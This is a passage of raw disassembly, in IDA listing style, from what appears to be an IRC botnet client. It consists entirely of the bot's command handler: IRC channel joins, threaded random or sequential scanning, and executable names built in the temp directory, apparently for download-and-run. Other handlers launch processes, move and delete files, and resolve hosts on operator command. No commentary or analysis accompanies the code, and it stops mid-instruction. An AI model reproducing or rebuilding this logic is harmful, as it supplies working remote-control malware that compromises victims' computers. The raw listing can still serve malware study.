sub_406BAB+1744j call sub_40B0B3 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40831F push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40831F: ; CODE XREF: sub_406BAB+1756j lea eax, [ebp+var_2E4] push eax call sub_403145 jmp short loc_408339 ; --------------------------------------------------------------------------- loc_40832D: ; CODE XREF: sub_406BAB+17A1j lea eax, [ebp+var_A78] push eax call sub_40D3E7 loc_408339: ; CODE XREF: sub_406BAB+1780j lea eax, [ebp+var_A78] push 4 push eax call sub_4037EA add esp, 0Ch test eax, eax jnz short loc_40832D jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_408353: ; CODE XREF: sub_406BAB+15DFj ; sub_406BAB+15F4j push 7 call sub_40AC96 push [ebp+arg_18] mov edi, eax call sub_40C3AF add eax, edi pop ecx cmp eax, 258h pop ecx jle short loc_408397 push edi lea eax, [ebp+var_2E4] push offset unk_41D2C4 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] jmp loc_408F2D ; --------------------------------------------------------------------------- loc_408397: ; CODE XREF: sub_406BAB+17C2j push [ebp+arg_10] call sub_40C3AF push [ebp+arg_18] mov [ebp+var_31C], eax call sub_40C3AF push [ebp+esi+var_98] mov [ebp+var_304], eax call sub_40C3AF add esp, 0Ch cmp eax, 3 mov [ebp+var_318], eax jnb short loc_4083D6 push 3 pop eax mov [ebp+var_318], eax loc_4083D6: ; CODE XREF: sub_406BAB+1820j push 0Ah pop ecx cmp eax, ecx jbe short loc_4083E3 mov [ebp+var_318], ecx loc_4083E3: ; CODE XREF: sub_406BAB+1830j push [ebp+esi+var_94] call sub_40C3AF mov [ebp+var_314], eax mov eax, 3E7h cmp [ebp+var_314], eax pop ecx jbe short loc_408409 mov [ebp+var_314], eax loc_408409: ; CODE XREF: sub_406BAB+1856j or [ebp+var_300], 0FFFFFFFFh cmp dword_419068, ebx mov [ebp+arg_8], ebx jz short loc_408458 mov edi, offset dword_419068 loc_408420: ; CODE XREF: sub_406BAB+188Fj push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_40843E inc [ebp+arg_8] add edi, 3Ch cmp [edi], ebx jnz short loc_408420 jmp short loc_408458 ; --------------------------------------------------------------------------- loc_40843E: ; CODE XREF: sub_406BAB+1885j mov eax, [ebp+arg_8] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_419068[ecx] mov [ebp+var_31C], ecx loc_408458: ; CODE XREF: sub_406BAB+186Ej ; sub_406BAB+1891j cmp [ebp+var_31C], ebx jnz short loc_40846A push offset unk_41D28C jmp loc_4093B3 ; --------------------------------------------------------------------------- loc_40846A: ; CODE XREF: sub_406BAB+18B3j mov edi, [ebp+esi+var_90] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_4084A8 cmp byte ptr [edi], 23h jz short loc_4084A8 push edi lea eax, [ebp+var_430] push 10h push eax call sub_40BDE7 push 78h push edi call sub_40CFC0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_2F0], eax jmp loc_40857C ; --------------------------------------------------------------------------- loc_4084A8: ; CODE XREF: sub_406BAB+18CBj ; sub_406BAB+18D0j cmp [ebp+var_913], bl jnz short loc_4084CA cmp [ebp+var_912], bl jnz short loc_4084CA cmp [ebp+var_902], bl jnz short loc_4084CA push offset unk_41D254 jmp loc_4093B3 ; --------------------------------------------------------------------------- loc_4084CA: ; CODE XREF: sub_406BAB+1903j ; sub_406BAB+190Bj ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_42B37C ; getsockname mov al, [ebp+var_913] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_40B110 add esp, 0Ch cmp [ebp+var_902], bl jz short loc_408576 xor eax, eax cmp [ebp+var_913], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_40D3C0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40856A loc_408548: ; CODE XREF: sub_406BAB+19BDj cmp eax, ebx jz short loc_40856A mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_40D3C0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_408548 loc_40856A: ; CODE XREF: sub_406BAB+199Bj ; sub_406BAB+199Fj mov [ebp+var_2F0], 1 jmp short loc_40857C ; --------------------------------------------------------------------------- loc_408576: ; CODE XREF: sub_406BAB+1975j mov [ebp+var_2F0], ebx loc_40857C: ; CODE XREF: sub_406BAB+18F8j ; sub_406BAB+19C9j mov eax, [ebp+arg_4] push [ebp+var_9C] mov [ebp+var_320], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] mov [ebp+var_2F4], eax mov edi, 80h lea eax, [ebp+var_420] push edi push eax call sub_40BDE7 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_4085D0 loc_4085BD: ; CODE XREF: sub_406BAB+1A48j push esi loc_4085BE: ; CODE XREF: sub_406BAB+1A32j lea eax, [ebp+var_3A0] push edi push eax call sub_40BDE7 add esp, 0Ch jmp short loc_4085FB ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_406BAB+1A10j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4085DF cmp byte ptr [eax], 23h jnz short loc_4085DF push eax jmp short loc_4085BE ; --------------------------------------------------------------------------- loc_4085DF: ; CODE XREF: sub_406BAB+1A2Aj ; sub_406BAB+1A2Fj mov esi, offset aPrv_1 ; "#prv##" push offset byte_422270 push esi call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4085BD mov [ebp+var_3A0], bl loc_4085FB: ; CODE XREF: sub_406BAB+1A23j cmp [ebp+var_2F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_40860D mov eax, offset aSequential ; "Sequential" loc_40860D: ; CODE XREF: sub_406BAB+1A5Bj push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2E4] push offset unk_41D1D8 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push 7 push eax call sub_40AA54 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_401704 push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_40869E call dword_417044 ; RtlGetLastWin32Error push eax push offset unk_41D1A0 jmp loc_4081E2 ; --------------------------------------------------------------------------- loc_408696: ; CODE XREF: sub_406BAB+1AF9j push 32h call dword_417040 ; Sleep loc_40869E: ; CODE XREF: sub_406BAB+1AD8j cmp [ebp+var_2EC], ebx jz short loc_408696 jmp loc_4081F1 ; --------------------------------------------------------------------------- loc_4086AB: ; CODE XREF: sub_406BAB+15A8j ; sub_406BAB+15BDj push [ebp+arg_10] call dword_42B410 ; inet_addr push [ebp+arg_18] mov [ebp+var_448], eax call sub_40C3AF push [ebp+esi+var_98] mov [ebp+var_454], eax call sub_40C3AF mov esi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_450], eax lea eax, [ebp+var_4D4] mov [ebp+var_4D8], esi push eax call sub_40B110 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_440], edi push [ebp+var_450] mov [ebp+var_43C], eax push [ebp+var_454] push [ebp+var_448] call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_2E4] push offset unk_41D164 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push 7 push eax call sub_40AA54 add esp, 20h mov [ebp+var_44C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4D8] push ebx push eax push offset sub_406331 push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_44C] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_408796 call dword_417044 ; RtlGetLastWin32Error push eax push offset unk_41D1A0 jmp loc_4089DB ; --------------------------------------------------------------------------- loc_40878E: ; CODE XREF: sub_406BAB+1BF1j push 32h call dword_417040 ; Sleep loc_408796: ; CODE XREF: sub_406BAB+1BD0j cmp [ebp+var_438], ebx jz short loc_40878E jmp loc_4089EA ; --------------------------------------------------------------------------- loc_4087A3: ; CODE XREF: sub_406BAB+157Ej ; sub_406BAB+1593j push [ebp+arg_10] call sub_40C3AF push 7Fh mov [ebp+var_300], eax push [ebp+arg_18] lea eax, [ebp+var_404] push eax call sub_40B110 push [ebp+esi+var_98] call sub_40C3AF push [ebp+var_9C] mov esi, [ebp+arg_4] mov [ebp+var_304], eax lea eax, [ebp+var_384] push 80h push eax mov [ebp+var_40C], esi call sub_40BDE7 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_2F0], eax push [ebp+var_304] lea eax, [ebp+var_404] mov [ebp+var_2F4], edi push eax push [ebp+var_300] push esi call sub_405752 pop ecx push eax lea eax, [ebp+var_2E4] push offset unk_41D124 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push 0Fh push eax call sub_40AA54 add esp, 24h mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_405AD8 push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_408895 call dword_417044 ; RtlGetLastWin32Error push eax push offset unk_41D0E0 jmp loc_4089DB ; --------------------------------------------------------------------------- loc_40888D: ; CODE XREF: sub_406BAB+1CF0j push 32h call dword_417040 ; Sleep loc_408895: ; CODE XREF: sub_406BAB+1CCFj cmp [ebp+var_2EC], ebx jz short loc_40888D jmp loc_4089EA ; --------------------------------------------------------------------------- loc_4088A2: ; CODE XREF: sub_406BAB+1554j ; sub_406BAB+1569j mov edi, 0FFh lea eax, [ebp+var_770] push edi push [ebp+arg_10] push eax call sub_40B110 push edi lea eax, [ebp+var_670] push [ebp+arg_18] push eax call sub_40B110 mov eax, [ebp+esi+var_98] add esp, 18h cmp eax, ebx mov [ebp+var_56C], ebx jz short loc_4088EA push eax call sub_40C3AF pop ecx mov [ebp+var_568], eax jmp short loc_4088F0 ; --------------------------------------------------------------------------- loc_4088EA: ; CODE XREF: sub_406BAB+1D2Ej mov [ebp+var_568], ebx loc_4088F0: ; CODE XREF: sub_406BAB+1D3Dj mov eax, [ebp+esi+var_94] cmp eax, ebx jz short loc_40890F push 10h push ebx push eax call sub_40CC7B add esp, 0Ch mov [ebp+var_560], eax jmp short loc_408915 ; --------------------------------------------------------------------------- loc_40890F: ; CODE XREF: sub_406BAB+1D4Ej mov [ebp+var_560], ebx loc_408915: ; CODE XREF: sub_406BAB+1D62j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_40892F push esi call sub_40C3AF pop ecx mov [ebp+var_564], eax jmp short loc_408935 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_406BAB+1D73j mov [ebp+var_564], ebx loc_408935: ; CODE XREF: sub_406BAB+1D82j movzx eax, [ebp+var_90F] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_55C], eax lea eax, [ebp+var_7F0] mov [ebp+var_7F4], esi push eax call sub_40B110 push [ebp+arg_18] mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov [ebp+var_558], eax push [ebp+arg_10] lea eax, [ebp+var_2E4] mov [ebp+var_554], edi push offset unk_41D0B0 push eax call sub_40B0B3 push esi lea eax, [ebp+var_2E4] push 14h push eax call sub_40AA54 add esp, 28h mov [ebp+var_570], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F4] push ebx push eax push offset sub_4032EE push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_570] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_408A10 call dword_417044 ; RtlGetLastWin32Error push eax push offset unk_41D070 loc_4089DB: ; CODE XREF: sub_406BAB+1BDEj ; sub_406BAB+1CDDj lea eax, [ebp+var_2E4] push eax call sub_40B0B3 add esp, 0Ch loc_4089EA: ; CODE XREF: sub_406BAB+1BF3j ; sub_406BAB+1CF2j ... cmp [ebp+var_8], ebx jnz loc_409B55 push ebx lea eax, [ebp+var_2E4] push edi push eax push [ebp+var_9C] push esi jmp loc_40820E ; --------------------------------------------------------------------------- loc_408A08: ; CODE XREF: sub_406BAB+1E6Bj push 32h call dword_417040 ; Sleep loc_408A10: ; CODE XREF: sub_406BAB+1E22j cmp [ebp+var_550], ebx jz short loc_408A08 jmp short loc_4089EA ; --------------------------------------------------------------------------- loc_408A1A: ; CODE XREF: sub_406BAB+152Aj ; sub_406BAB+153Fj push [ebp+arg_18] push [ebp+arg_10] call dword_4170F0 ; MoveFileA test eax, eax jz short loc_408A4B push [ebp+arg_18] lea eax, [ebp+var_2E4] push [ebp+arg_10] push offset unk_41D048 push 200h push eax call sub_40BDE7 add esp, 14h jmp short loc_408A6A ; --------------------------------------------------------------------------- loc_408A4B: ; CODE XREF: sub_406BAB+1E7Dj push offset dword_41D038 call sub_4052BA push eax lea eax, [ebp+var_2E4] push 200h push eax call sub_40BDE7 add esp, 10h loc_408A6A: ; CODE XREF: sub_406BAB+1E9Ej ; sub_406BAB+278Aj ... cmp [ebp+var_8], ebx jnz short loc_408A8B push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_408A8B: ; CODE XREF: sub_406BAB+E2Fj ; sub_406BAB+1EC2j ... xor esi, esi inc esi loc_408A8E: ; CODE XREF: sub_406BAB+2656j ; sub_406BAB+2693j ... lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx mov eax, esi jmp loc_406FFC ; --------------------------------------------------------------------------- loc_408AA2: ; CODE XREF: sub_406BAB+1500j ; sub_406BAB+1515j push 44h lea eax, [ebp+var_474] pop esi push esi push ebx push eax call sub_40B630 push [ebp+arg_10] xor edi, edi inc edi mov [ebp+var_474], esi mov [ebp+var_448], edi mov word ptr [ebp+var_444], bx call sub_40C3AF add esp, 10h cmp eax, edi jnz short loc_408AE1 mov word ptr [ebp+var_444], 5 loc_408AE1: ; CODE XREF: sub_406BAB+1F2Bj cmp [ebp+var_C], ebx jz loc_4091DD push [ebp+arg_18] push [ebp+var_C] call sub_40CE60 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4091DD lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_474] push eax push ebx push ebx push 28h push edi push ebx push ebx push esi push ebx call dword_417070 ; CreateProcessA test eax, eax lea eax, [ebp+var_2E4] jnz short loc_408B32 push offset unk_41D010 jmp loc_409304 ; --------------------------------------------------------------------------- loc_408B32: ; CODE XREF: sub_406BAB+1F7Bj push esi push offset dword_41CFF4 jmp loc_409293 ; --------------------------------------------------------------------------- loc_408B3D: ; CODE XREF: sub_406BAB+14D6j ; sub_406BAB+14EBj push [ebp+arg_18] push offset aKtsFinally ; "KTS-Finally" call sub_40C250 mov edi, [ebp+arg_4] pop ecx test eax, eax pop ecx jz loc_408CBD lea eax, [ebp+var_A78] push eax push 104h call dword_4170BC ; GetTempPathA push 0FFh lea eax, [ebp+var_770] push [ebp+arg_10] push eax call sub_40B110 lea eax, [ebp+var_E4] push eax call sub_405F22 push eax lea eax, [ebp+var_A78] push eax lea eax, [ebp+var_670] push offset aSS_exe ; "%s%s.exe" push eax call sub_40B0B3 mov eax, [ebp+esi+var_98] add esp, 20h cmp eax, ebx mov [ebp+var_56C], 1 mov [ebp+var_568], ebx jz short loc_408BD4 push 10h push ebx push eax call sub_40CC7B add esp, 0Ch mov [ebp+var_560], eax jmp short loc_408BDA ; --------------------------------------------------------------------------- loc_408BD4: ; CODE XREF: sub_406BAB+2013j mov [ebp+var_560], ebx loc_408BDA: ; CODE XREF: sub_406BAB+2027j mov esi, [ebp+esi+var_94] cmp esi, ebx jz short loc_408BF4 push esi call sub_40C3AF pop ecx mov [ebp+var_564], eax jmp short loc_408BFA ; --------------------------------------------------------------------------- loc_408BF4: ; CODE XREF: sub_406BAB+2038j mov [ebp+var_564], ebx loc_408BFA: ; CODE XREF: sub_406BAB+2047j movzx eax, [ebp+var_90F] push 7Fh mov [ebp+var_55C], eax push [ebp+var_9C] lea eax, [ebp+var_7F0] mov [ebp+var_7F4], edi push eax call sub_40B110 mov eax, [ebp+var_4] push [ebp+arg_10] mov [ebp+var_554], eax mov eax, [ebp+var_8] mov [ebp+var_558], eax lea eax, [ebp+var_2E4] push offset unk_41CFB8 push eax call sub_40B0B3 push edi lea eax, [ebp+var_2E4] push 15h push eax call sub_40AA54 add esp, 24h mov [ebp+var_570], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F4] push ebx push eax push offset sub_4032EE push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_570] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_408CB3 call dword_417044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_41CF78 push eax call sub_40B0B3 add esp, 0Ch jmp short loc_408CD0 ; --------------------------------------------------------------------------- loc_408CAB: ; CODE XREF: sub_406BAB+210Ej push 32h call dword_417040 ; Sleep loc_408CB3: ; CODE XREF: sub_406BAB+20E1j cmp [ebp+var_550], ebx jz short loc_408CAB jmp short loc_408CD0 ; --------------------------------------------------------------------------- loc_408CBD: ; CODE XREF: sub_406BAB+1FA6j lea eax, [ebp+var_2E4] push offset unk_41CF30 push eax call sub_40B0B3 pop ecx pop ecx loc_408CD0: ; CODE XREF: sub_406BAB+20FEj ; sub_406BAB+2110j cmp [ebp+var_8], ebx jnz loc_4091FE push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push edi jmp loc_4091F6 ; --------------------------------------------------------------------------- loc_408CF0: ; CODE XREF: sub_406BAB+14ACj ; sub_406BAB+14C1j push [ebp+var_A0] push offset dword_41D834 call sub_40C250 pop ecx test eax, eax pop ecx jz loc_406FF9 cmp [ebp+var_C], ebx jz loc_406FF9 push [ebp+arg_18] push [ebp+var_C] call sub_40CE60 push eax lea eax, [ebp+var_2E4] push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset dword_41CF20 push eax call sub_40B0B3 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_40B110 push [ebp+arg_10] call sub_40C3AF add esp, 30h test eax, eax jle short loc_408D7B push [ebp+arg_10] call sub_40C3AF imul eax, 3E8h pop ecx push eax call dword_417040 ; Sleep loc_408D7B: ; CODE XREF: sub_406BAB+21B8j mov eax, [ebp+arg_24] inc eax jmp loc_406FFC ; --------------------------------------------------------------------------- loc_408D84: ; CODE XREF: sub_406BAB+1482j ; sub_406BAB+1497j push [ebp+var_A0] push offset dword_41D834 call sub_40C250 pop ecx test eax, eax pop ecx jz loc_406FF9 cmp [ebp+var_C], ebx jz loc_409F32 mov edi, [ebp+arg_18] push edi push [ebp+var_C] call sub_40CE60 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_40C250 add esp, 10h test eax, eax push esi lea eax, [ebp+var_2E4] jz short loc_408E42 push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset dword_41CF20 push eax call sub_40B0B3 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_40B110 push esi lea eax, [ebp+var_2E4] push offset dword_41CF04 push eax call sub_40B0B3 lea eax, [ebp+var_2E4] push eax call sub_403145 push [ebp+arg_10] call sub_40C3AF add esp, 38h test eax, eax jle loc_409F32 push [ebp+arg_10] call sub_40C3AF add eax, [ebp+arg_24] pop ecx jmp loc_406FFC ; --------------------------------------------------------------------------- loc_408E42: ; CODE XREF: sub_406BAB+2222j push offset unk_41CECC jmp loc_409126 ; --------------------------------------------------------------------------- loc_408E4C: ; CODE XREF: sub_406BAB+1458j ; sub_406BAB+146Dj cmp [ebp+var_C], ebx jz loc_409F32 push [ebp+arg_10] push [ebp+var_C] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz loc_409F32 push eax push offset dword_41CEC0 loc_408E70: ; CODE XREF: sub_406BAB+28BDj ; sub_406BAB+28CAj ... push [ebp+arg_4] call sub_40450F jmp loc_409DF9 ; --------------------------------------------------------------------------- loc_408E7D: ; CODE XREF: sub_406BAB+142Ej ; sub_406BAB+1443j push [ebp+var_A0] push offset dword_41D834 call sub_40C250 pop ecx test eax, eax pop ecx jz loc_406FF9 push [ebp+arg_18] push offset dword_41CEB4 push [ebp+arg_4] call sub_40450F push [ebp+arg_10] call sub_40C3AF imul eax, 3E8h add esp, 10h push eax call dword_417040 ; Sleep push [ebp+esi+var_98] push [ebp+arg_18] loc_408EC9: ; CODE XREF: sub_406BAB+28D9j push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40450F jmp loc_40990B ; --------------------------------------------------------------------------- loc_408EDB: ; CODE XREF: sub_406BAB+1404j ; sub_406BAB+1419j cmp [ebp+var_C], ebx jz loc_409F32 push [ebp+arg_10] call sub_40B5B0 push edi mov esi, eax call sub_40B5B0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_40CE60 add esp, 10h cmp eax, ebx jz loc_409F32 push eax lea eax, [ebp+var_2E4] push offset dword_41CEA8 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push ebx push eax push [ebp+arg_10] loc_408F2D: ; CODE XREF: sub_406BAB+17E7j push [ebp+arg_4] call sub_404555 add esp, 20h jmp loc_409F32 ; --------------------------------------------------------------------------- loc_408F3D: ; CODE XREF: sub_406BAB+13DAj ; sub_406BAB+13EFj cmp [ebp+var_C], ebx jz loc_409F32 push [ebp+arg_10] call sub_40B5B0 push edi mov esi, eax call sub_40B5B0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_40CE60 add esp, 10h cmp eax, ebx jz loc_409F32 push ebx push ebx push eax push [ebp+arg_10] jmp loc_409BEA ; --------------------------------------------------------------------------- loc_408F7C: ; CODE XREF: sub_406BAB+13B0j ; sub_406BAB+13C5j cmp [ebp+var_C], ebx jz loc_406FF9 push [ebp+arg_18] push [ebp+var_C] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz loc_406FF9 push eax push [ebp+arg_10] call sub_40304D push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_41CE88 push eax call sub_40B0B3 add esp, 14h jmp loc_4081F1 ; --------------------------------------------------------------------------- loc_408FBF: ; CODE XREF: sub_406BAB+1374j ; sub_406BAB+1389j push [ebp+arg_10] push [ebp+arg_1C] call sub_40CE60 pop ecx test eax, eax pop ecx jz loc_409F32 mov esi, [ebp+esi+var_9C] cmp esi, ebx jz short loc_40905A push esi push [ebp+var_C] call sub_40CE60 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2E4] jz short loc_409048 push esi push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset dword_41CF20 push eax call sub_40B0B3 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_40B110 push esi lea eax, [ebp+var_2E4] push [ebp+arg_10] push offset unk_41CE60 push eax call sub_40B0B3 add esp, 34h inc [ebp+arg_24] jmp loc_409195 ; --------------------------------------------------------------------------- loc_409048: ; CODE XREF: sub_406BAB+2449j push offset unk_41CE2C push eax call sub_40B0B3 pop ecx pop ecx jmp loc_409195 ; --------------------------------------------------------------------------- loc_40905A: ; CODE XREF: sub_406BAB+2432j push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40A4AD add esp, 0Ch push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset dword_41CE10 push 200h push eax call sub_40BDE7 add esp, 24h jmp loc_409195 ; --------------------------------------------------------------------------- loc_4090A3: ; CODE XREF: sub_406BAB+134Aj ; sub_406BAB+135Fj push offset aR ; "r" push [ebp+arg_10] call sub_40C7B8 mov edi, eax pop ecx cmp edi, ebx pop ecx lea eax, [ebp+var_2E4] jz short loc_40911E mov esi, 200h push edi push esi push eax call sub_40D361 add esp, 0Ch jmp short loc_4090FB ; --------------------------------------------------------------------------- loc_4090D0: ; CODE XREF: sub_406BAB+2552j push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 push edi lea eax, [ebp+var_2E4] push esi push eax call sub_40D361 add esp, 20h loc_4090FB: ; CODE XREF: sub_406BAB+2523j test eax, eax jnz short loc_4090D0 push edi call sub_40C3BA push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_41CDE8 push eax call sub_40B0B3 add esp, 10h jmp short loc_409195 ; --------------------------------------------------------------------------- loc_40911E: ; CODE XREF: sub_406BAB+2511j push [ebp+arg_10] push offset unk_41CDC4 loc_409126: ; CODE XREF: sub_406BAB+229Cj push eax call sub_40B0B3 add esp, 0Ch jmp short loc_409174 ; --------------------------------------------------------------------------- loc_409131: ; CODE XREF: sub_406BAB+1320j ; sub_406BAB+1335j cmp [ebp+var_C], ebx jz loc_409F32 push [ebp+arg_10] push [ebp+var_C] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz loc_409F32 push eax call sub_40537F test eax, eax pop ecx lea eax, [ebp+var_2E4] jnz short loc_409167 push offset unk_41CDA4 jmp short loc_40916C ; --------------------------------------------------------------------------- loc_409167: ; CODE XREF: sub_406BAB+25B3j push offset dword_41CD88 loc_40916C: ; CODE XREF: sub_406BAB+25BAj push eax call sub_40B0B3 pop ecx pop ecx loc_409174: ; CODE XREF: sub_406BAB+2584j cmp [ebp+var_8], ebx jnz short loc_409195 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_409195: ; CODE XREF: sub_406BAB+2498j ; sub_406BAB+24AAj ... lea eax, [ebp+var_2E4] push eax loc_40919C: ; CODE XREF: sub_406BAB+1006j call sub_403145 pop ecx jmp loc_409F32 ; --------------------------------------------------------------------------- loc_4091A7: ; CODE XREF: sub_406BAB+12F6j ; sub_406BAB+130Bj push [ebp+arg_10] call dword_4170DC ; DeleteFileA test eax, eax jz short loc_4091BE push [ebp+arg_10] push offset dword_41CD6C jmp short loc_4091C9 ; --------------------------------------------------------------------------- loc_4091BE: ; CODE XREF: sub_406BAB+2607j push offset dword_41D038 call sub_4052BA push eax loc_4091C9: ; CODE XREF: sub_406BAB+2611j lea eax, [ebp+var_2E4] push 200h push eax call sub_40BDE7 loc_4091DA: ; CODE XREF: sub_406BAB+272Ej add esp, 10h loc_4091DD: ; CODE XREF: sub_406BAB+1F39j ; sub_406BAB+1F50j ... cmp [ebp+var_8], ebx jnz short loc_4091FE push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] loc_4091F6: ; CODE XREF: sub_406BAB+2140j call sub_404555 add esp, 14h loc_4091FE: ; CODE XREF: sub_406BAB+2128j ; sub_406BAB+2635j ... mov esi, [ebp+arg_24] jmp loc_408A8E ; --------------------------------------------------------------------------- loc_409206: ; CODE XREF: sub_406BAB+12CCj ; sub_406BAB+12E1j push [ebp+arg_10] call sub_40C3AF push eax call sub_405AA1 xor esi, esi pop ecx inc esi pop ecx push [ebp+arg_10] cmp eax, esi lea eax, [ebp+var_2E4] jnz short loc_40922D push offset unk_41CD48 jmp short loc_409232 ; --------------------------------------------------------------------------- loc_40922D: ; CODE XREF: sub_406BAB+2679j push offset unk_41CD14 loc_409232: ; CODE XREF: sub_406BAB+2680j push eax call sub_40B0B3 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_408A8E push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h jmp loc_408A8E ; --------------------------------------------------------------------------- loc_409265: ; CODE XREF: sub_406BAB+12A2j ; sub_406BAB+12B7j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_405816 add esp, 18h cmp eax, 1 lea eax, [ebp+var_2E4] push [ebp+arg_10] jnz short loc_40928E push offset unk_41CCF0 jmp short loc_409293 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_406BAB+26DAj push offset unk_41CCC0 loc_409293: ; CODE XREF: sub_406BAB+1F8Dj ; sub_406BAB+26E1j ... push eax call sub_40B0B3 loc_409299: ; CODE XREF: sub_406BAB+2DBEj add esp, 0Ch jmp loc_4091DD ; --------------------------------------------------------------------------- loc_4092A1: ; CODE XREF: sub_406BAB+1278j ; sub_406BAB+128Dj mov esi, [ebp+arg_10] push esi call dword_42B410 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4092DE push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_42B390 ; gethostbyaddr cmp eax, ebx jz short loc_4092F9 push dword ptr [eax] loc_4092C7: ; CODE XREF: sub_406BAB+274Cj push esi lea eax, [ebp+var_2E4] push offset dword_41CCA0 push eax call 